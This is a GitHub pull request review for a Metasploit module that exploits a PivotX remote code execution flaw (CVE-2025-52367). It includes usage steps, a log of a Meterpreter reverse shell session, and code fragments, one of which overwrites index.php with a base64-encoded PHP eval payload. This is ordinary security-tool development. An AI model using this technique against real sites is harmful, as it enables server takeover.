Skip to content

Adds module for PivotX RCE (CVE-2025-52367) #20400

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 8 commits into
base: master
Choose a base branch
from

Conversation

msutovsky-r7
Copy link
Contributor

Vulnerable Application

PivotX is free software to help you maintain dynamic sites such as weblogs, online journals and other frequently updated websites in general.
It's written in PHP and uses MySQL or flat files as a database.

Install steps:

  1. Install Apache2, MySQL, PHP8.2+
  2. git clone https://github.com/pivotx/PivotX.git
  3. Move PivotX to webfolder

Verification Steps

  1. Install the application
  2. Start msfconsole
  3. Do: use exploit/linux/http/pivotx_rce
  4. Do: set USERNAME [PivotX username]
  5. Do: set PASSWORD [PivotX password]
  6. Do: set RHOSTS [target IP]
  7. Do: set LHOST [attacker IP]
  8. Do: run

Options

USERNAME

PivotX username.

PASSWORD

PivotX password.

Scenarios

msf exploit(linux/http/pivotx_rce) > run verbose=true 
[*] Started reverse TCP handler on 192.168.168.128:4444 
[*] Sending stage (40004 bytes) to 192.168.168.146
[*] Meterpreter session 4 opened (192.168.168.128:4444 -> 192.168.168.146:40562) at 2025-07-18 14:20:03 +0200
meterpreter > sysinfo
Computer    : ubuntu
OS          : Linux ubuntu 6.8.0-52-generic #53~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Jan 15 19:18:46 UTC 2 x86_64
Meterpreter : php/linux

@msutovsky-r7 msutovsky-r7 marked this pull request as ready for review July 22, 2025 14:33
@jheysel-r7 jheysel-r7 self-assigned this Jul 23, 2025

Install steps:

1. Install Apache2, MySQL, PHP8.2+
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I tried using 8.2 and after creating the first user I was getting the following error:

[Wed Jul 23 14:05:00.872415 2025] [php:error] [pid 246376] [client 172.16.199.1:60785] PHP Fatal error:  Uncaught TypeError: count(): Argument #1 ($value) must be of type Countable|array, null given in /var/www/html/PivotX/pivotx/objects.php:2460\nStack trace:\n#0 /var/www/html/PivotX/pivotx/objects.php(2252): Session->saveLogins()\n#1 /var/www/html/PivotX/pivotx/objects.php(2187): Session->logFailedLogin()\n#2 /var/www/html/PivotX/pivotx/pages.php(117): Session->login()\n#3 /var/www/html/PivotX/pivotx/lib.php(257): pageLogin()\n#4 /var/www/html/PivotX/pivotx/index.php(21): displayPage()\n#5 {main}\n  thrown in /var/www/html/PivotX/pivotx/objects.php on line 2460, referer: http://172.16.199.136/PivotX/pivotx/index.php?page=login&px_message=The+user+has+been+added%21+You+can+login+with+your+new+account+now.

I switch to using PHP7.4 and had no issues 🤷‍♂️


1. Install Apache2, MySQL, PHP8.2+
1. `git clone https://github.com/pivotx/PivotX.git`
1. Move `PivotX` to webfolder
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
1. Move `PivotX` to webfolder
1. Move `PivotX` to webfolder
1. Run the following from the web folder `sudo chown -R www-data:www-data ./`

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking # https://docs.metasploit.com/docs/using-metasploit/intermediate/exploit-ranking.html

include Exploit::Remote::Tcp
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

I don't think you need this as the module is just sending HTTP requests via send_request_cgi in order to authenticate and exploit.

Suggested change
include Exploit::Remote::Tcp

def check
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'index.php')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

This isn't necessarily incorrect but I think it's more conventional to build uri's using target_uri.path rather than referencing the datastore option. Theres a couple instances of this pattern in the module.

➜  metasploit-framework git:(75f6e6a748) rg "normalize_uri\(datastore" | wc -l
     447
➜  metasploit-framework git:(75f6e6a748) rg "normalize_uri\(target_uri" | wc -l
    2825
Suggested change
'uri' => normalize_uri(datastore['TARGETURI'], 'pivotx', 'index.php')
'uri' => normalize_uri(target_uri.path, 'pivotx', 'index.php')

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could you change the name of the file to something that relates to this exploit specifically? We try to tie exploit file names to the exploit themselves (or the vulnerable endpoint of the application) to avoid having multiple modules named<application>_rce, <application>_rce2

Something like pivotx_index_php_overwrite.rb would be great.

'keep_cookies' => true
})

fail_with Failure::NoAccess, 'Login failed, probably incorrect credentials' unless res&.code == 200 && res.body.include?('Dashboard') && res.get_cookies =~ /pivotxsession=([a-zA-Z0-9]+);/
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

If the credentials are incorrect the application will tell you. In event of a unsuccessful login attempt it would be good to definitively tell the user that the application denied authentication due to incorrect credentials.

We should try to extract the following:

        <div class="messages" id="messages">

                <p>Incorrect username/password</p>
            </div>

With an xpath similar to:

[1] pry(#<Msf::Modules::Exploit__Linux__Http__Pivotx_rce::MetasploitModule>)> res&.get_html_document&.at("//div[@id='messages']/p/text()")&.text
=> "Incorrect username/password"

Also it appears you can successfully authenticate but receive a 302 + redirect to index.php, which we will need to account for here:

msf exploit(linux/http/pivotx_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
####################
# Request:
####################
POST /PivotX/pivotx/index.php?page=login HTTP/1.1
Host: 172.16.199.136
User-Agent: Mozilla/5.0 (iPad; CPU OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryVCMtuwLZUktmCpYj
Content-Length: 440

------WebKitFormBoundaryVCMtuwLZUktmCpYj
Content-Disposition: form-data; name="returnto"


------WebKitFormBoundaryVCMtuwLZUktmCpYj
Content-Disposition: form-data; name="template"


------WebKitFormBoundaryVCMtuwLZUktmCpYj
Content-Disposition: form-data; name="username"

msfuser
------WebKitFormBoundaryVCMtuwLZUktmCpYj
Content-Disposition: form-data; name="password"

notpassword
------WebKitFormBoundaryVCMtuwLZUktmCpYj

####################
# Response:
####################
HTTP/1.1 302 Found
Date: Wed, 23 Jul 2025 23:05:09 GMT
Server: Apache/2.4.52 (Ubuntu)
Set-Cookie: PHPSESSID=d0mf5u9gduoocfid2hlmtpu4js; expires=Fri, 22-Aug-2025 23:05:09 GMT; Max-Age=2592000; path=/PivotX/; domain=172.16.199.136, pivotxsession=pf65d23qecsc8t; expires=Fri, 22-Aug-2025 23:05:09 GMT; Max-Age=2592000; path=/PivotX/; domain=172.16.199.136
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: index.php
Content-Length: 0
Content-Type: text/html; charset=UTF-8


[-] 172.16.199.136:80 - Exploit aborted due to failure: no-access: Login failed, probably incorrect credentials
[*] Exploit completed, but no session was created.

Comment on lines 78 to 95
boundary = Rex::Text.rand_text_alphanumeric(16).to_s
data_post = "------WebKitFormBoundary#{boundary}\r\n"

data_post << "Content-Disposition: form-data; name=\"returnto\"\r\n\r\n"
data_post << "\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"

data_post << "Content-Disposition: form-data; name=\"template\"\r\n\r\n"
data_post << "\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"

data_post << "Content-Disposition: form-data; name=\"username\"\r\n\r\n"
data_post << "#{datastore['USERNAME']}\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"

data_post << "Content-Disposition: form-data; name=\"password\"\r\n\r\n"
data_post << "#{datastore['PASSWORD']}\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

You should be able to use Rex::MIME::Message here

Suggested change
boundary = Rex::Text.rand_text_alphanumeric(16).to_s
data_post = "------WebKitFormBoundary#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"returnto\"\r\n\r\n"
data_post << "\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"template\"\r\n\r\n"
data_post << "\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"username\"\r\n\r\n"
data_post << "#{datastore['USERNAME']}\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"
data_post << "Content-Disposition: form-data; name=\"password\"\r\n\r\n"
data_post << "#{datastore['PASSWORD']}\r\n"
data_post << "------WebKitFormBoundary#{boundary}\r\n"
boundary = Rex::Text.rand_text_alphanumeric(16).to_s
data_post = Rex::MIME::Message.new
data_post.bound = boundary
data_post.add_part('', nil, nil, 'form-data; name="returnto"')
data_post.add_part('', nil, nil, 'form-data; name="template"')
data_post.add_part(datastore['USERNAME'], nil, nil, 'form-data; name="username"')
data_post.add_part(datastore['PASSWORD'], nil, nil, 'form-data; name="password"')

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Yep, I have tried that, butRex::MIME::Message seems to have some issues, because this is request when it's custom MIME message:

POST /PivotX/pivotx/index.php?page=login HTTP/1.1
Host: 192.168.168.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary0QOnzz5aryMzqDAb
Content-Length: 429
Connection: keep-alive

------WebKitFormBoundary0QOnzz5aryMzqDAb
Content-Disposition: form-data; name="returnto"


------WebKitFormBoundary0QOnzz5aryMzqDAb
Content-Disposition: form-data; name="template"


------WebKitFormBoundary0QOnzz5aryMzqDAb
Content-Disposition: form-data; name="username"

[username]
------WebKitFormBoundary0QOnzz5aryMzqDAb
Content-Disposition: form-data; name="password"

[password]
------WebKitFormBoundary0QOnzz5aryMzqDAb

Which application accepts and process. And this is request sent with MIME:

POST /PivotX/pivotx/index.php?page=login HTTP/1.1
Host: 192.168.168.146
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryAaoK2wdv4fYeoA4E
Content-Length: 411
Connection: keep-alive

--WebKitFormBoundaryAaoK2wdv4fYeoA4E
Content-Disposition: form-data; name="returnto"


--WebKitFormBoundaryAaoK2wdv4fYeoA4E
Content-Disposition: form-data; name="template"


--WebKitFormBoundaryAaoK2wdv4fYeoA4E
Content-Disposition: form-data; name="username"

[username]
--WebKitFormBoundaryAaoK2wdv4fYeoA4E
Content-Disposition: form-data; name="password"

[password]
--WebKitFormBoundaryAaoK2wdv4fYeoA4E--
```
and when this request is sent to the application, it acts like there's no password/username. Not sure why it's happening, it might be problem with `MIME` library because I did have some issues with it previously. Will investigate more.

Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Maybe you tried something slightly different before? The above suggestion has been tested successfully on my installation. Give it a try and let me know if you run into any issues.

Copy link
Contributor Author

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

My bad, did something stupid and it didn't work as expected. But should be fixed now!

'vars_post' => { 'csrfcheck' => @csrf_token, 'function' => 'save', 'basedir' => @base_dir, 'file' => 'index.php', 'contents' => "<?php eval(base64_decode('#{Base64.strict_encode64(payload.encoded)}')); ?> #{@original_value}" }
})

fail_with Failure::PayloadFailed, 'Failed to insert malicious PHP payload' unless res&.code == 200 && res.body.include?('Wrote contents to file index.php')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Minor, and I know this syntax is correct, but not having the parentheses does not match the syntax used on line 68. I recognize everyone has their own preference, but I do think we should be consistent throughout the file.


version = Rex::Version.new(Regexp.last_match(1))

return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')
return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')


html_body = res.get_html_document

return Msf::Exploit::CheckCode::Unknown('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return Msf::Exploit::CheckCode::Unknown('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }
return Msf::Exploit::CheckCode::Detected('Could not find version element') unless html_body.search('em').find { |i| i.text =~ /PivotX - (\d.\d\d?.\d\d?-[a-z0-9]+)/ }


return Msf::Exploit::CheckCode::Appears("Detected PivotX #{version}") if version <= Rex::Version.new('3.0.0-rc3')

return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable")
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Suggested change
return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable")
return Msf::Exploit::CheckCode::Safe("PivotX #{version} is not vulnerable")

modify_file
vprint_status('Triggering payload')
trigger_payload
restore
Copy link
Contributor

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Could you add restore to an ensure block?

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Projects
Status: Todo
Development

Successfully merging this pull request may close these issues.

3 participants